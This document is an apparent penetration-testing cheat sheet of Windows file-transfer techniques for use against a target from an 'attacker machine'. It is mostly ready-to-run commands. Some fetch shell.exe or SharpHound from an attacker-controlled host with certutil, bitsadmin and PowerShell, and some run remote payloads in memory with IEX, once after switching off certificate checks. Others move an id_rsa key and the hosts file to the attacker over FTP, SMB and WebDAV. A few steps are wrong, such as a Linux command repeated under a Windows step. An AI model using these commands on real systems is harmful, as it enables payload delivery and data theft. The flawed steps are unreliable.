Description

Used for managing background intelligent transfer

Step 1 - Linux

python3 -m http.server 8000

Step 2 - Windows

bitsadmin.exe /transfer /Download /priority Foreground http://{IP}/shell.exe c:\Users\thm\Desktop\shell.exe

• Resources

Description

Windows binary used for handling certificates

Step 1 - Linux

python3 -m http.server 8000

Step 2 - Windows

certutil.exe -urlcache -split -f http://{IP}:8000/sharphound.exe sharphound.exe

• Resources

Description

We can setup an FTP server using `pyftpdlib` on our attacker machine to transfer files.

Step 1 - Linux

sudo pip3 install pyftpdlib

Step 2 - Linux

By default, `pyftpdlib` uses port 2121. We can specify port 21 if prefered.

sudo python3 -m pyftpdlib --port 21

Step 3 - Windows

(New-Object Net.WebClient).DownloadFile('ftp://{IP}/file.txt', 'ftp-file.txt')

• Resources

Description

PowerShell offers many file transfer options. The following methods from the System.Net.WebClient class can be used to download a file over HTTP, HTTPS, or FTP.

• OpenRead
• OpenReadAsync
• DownloadData
• DownloadDataAsync
• DownloadFile
• DownloadFileAsync
• DownloadString
• DownloadStringAsync

Step 1 - Linux

python3 -m http.server 8000

Step 2 - Windows

(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')

• Resources

Description

From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but is noticeably slower at downloading files. You can use the aliases `iwr`, `curl`, and `wget` instead of the `Invoke-WebRequest` full name.

Step 1 - Linux

python3 -m http.server 8000

Step 2.1 - Windows

Invoke-WebRequest -Uri 'http://{IP}:8000/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'

Step 2.2 - Windows

wget 'http://{IP}:8000/shell.exe'

Step 2.3 - Windows

curl 'http://{IP}:8000/shell.exe' -o shell.exe

Step 2.4 - Windows

iwr -Uri 'http://{IP}:8000/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'

• Resources

Description

We can encode a file to a base64 string, copy its contents from the terminal and perform the reverse operation, decoding the file in the original content. This method is not always possible to use. cmd.exe has a maximum string length of 8191 characters. Also, a web shell may error if you attept to send extreamly large strings.

Step 1 - Linux

cat id_rsa | base64 -w 0;echo

Step 2 - Windows

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1...))

• Resources

Description

Fileless attacks work by using some operating system functions to download the payload anad execute it directly. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.

Step 1 - Linux

python3 -m http.server 8000

Step 2 - Windows

iex(New-Object Net.WebClient).DownloadString('http://{IP}:8000/shell.exe')

• Resources

Description

We can use impacket's `smbserver.py` script to create an SMB server on our attacker machine.

Step 1 - Linux

smbserver.py kali .

Step 2 - Windows

copy \\{attackerIP}\kali\{file} .

• Resources

Description

New versions of Windows block unauthenticated guest access. You will receive the following error when trying to copy files from an SMB share in an unauthenticated manner: `You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.`

To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our Windows target machine.

Step 1 - Linux

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Step 2 - Windows

net use n: \\192.168.220.133\share /user:test test

Step 3 - Windows

copy n:\nc.exe

• Resources

Description

You can mount your drive to the VM and access is from `This PC`

Step 1 - Linux

xfreerdp /u:thm /p:Password /v:10.10.123.123 /workspace /home-drive

• Resources

Description

When trying to download a file, you may come across the following error: `The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.`

This error is caused due to when Internet Explorer first-launch configuration has not been completed, which prevents the download.

This error can be bypassed with the `-UseBasicParsing` flag.

Step 1 - Linux

python3 -m http.server 8000

Step 2 - Windows

Invoke-WebRequest https://{IP}/shell.exe -UseBasicParsing | IEX

• Resources

Description

When downloading a file, you may come across this error: `Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."`

This error occurs because the certificate is not trusted. We can bypass this error with the following command:

Step 1 - Linux

python3 -m http.server 8000

Step 2 - Windows

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

• Resources

Description

We can use PowerShell or the FTP client to upload files to an FTP server.

Step 1 - Linux

Using the Python module `pyftpdlib`, we need to specify the option `--write` to allow clients to upload files to our attacker machine.

sudo python3 -m pyftpdlib --port 21 --write

Step 2 - Windows

(New-Object Net.WebClient).UploadFile('ftp://{IP}/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

• Resources

Description

We can use base64 to encode a file and copy the base64 to our attacker machine to decode it.

Step 1 - Windows

[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

Step 2 - Linux

echo IyBDb3B5cm... | base64 -d

• Resources

Description

We can use impacket's `smbserver.py` script to create an SMB server on our attacker machine and upload file to it.

Step 1 - Linux

smbserver.py -smb2support test $(pwd)

Step 2 - Windows

copy {FILE_TO_COPY} \\{ATTACKER_IP}\test

• Resources

Description

Companies usually allow outbound traffic using HTTP (TCP/80) and HTTPS (TCP/443) protocols. Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks.

An alternative is to run SMB over HTTP with WebDAV. WebDAV is an extension of HTTP, the protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

When you use SMB, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP.

Step 1 - Linux

To setup our WebDAV server, we need to install two Python modules, `wsgidav` and `cheroot`.

sudo pip install wsgidav cheroot

Step 2 - Linux

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

Step 3 - Windows

Connect to the WebDAV share.

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Step 4 - Windows

copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\

• Resources